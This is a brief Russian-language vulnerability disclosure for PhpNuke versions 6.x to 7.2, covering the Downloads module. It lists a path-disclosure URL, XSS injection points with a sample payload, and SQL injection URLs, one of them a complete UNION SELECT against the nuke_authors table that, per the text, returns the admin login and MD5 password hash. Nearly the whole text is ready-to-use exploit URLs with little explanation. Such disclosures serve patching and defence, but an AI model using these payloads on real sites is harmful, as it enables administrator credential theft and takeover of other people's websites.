Очередная порция уязвимостей обнаружена
в PhpNuke 6.x - 7.2.
1. Раскрытие пути:
http://localhost/nuke72/modules.php?name= Downloads&d_op=viewdownload&cid=2
&show=foobar
выдаст ошибку типа
Warning: Division by zero in D:\apache_wwwroot\nuke72\modules\Downloads\index.php
on line 797
2. XSS:
http://localhost/nuke72/modules.php?name= Downloads&d_op=ratedownload&lid=0&ttitle=
[xss code here]
http://localhost/nuke72/modules.php?name= Downloads&d_op=ratedownload&lid=0&ttitle=
<body onload=document.title=1337>
http://localhost/nuke72/modules.php?name= Downloads&d_op=viewsdownload&sid=
[xss code here]
3. SQL инъекция:
http://localhost/nuke72/modules.php?name= Downloads&d_op=viewdownload&cid=2
&orderby=foobar
http://localhost/nuke72/modules.php?name= Downloads&d_op=viewsdownload&sid=-1
/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0, 0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/*
*/radminsuper=1/**/LIMIT/**/1/*
(выдаст логин админа и MD5 хэш)
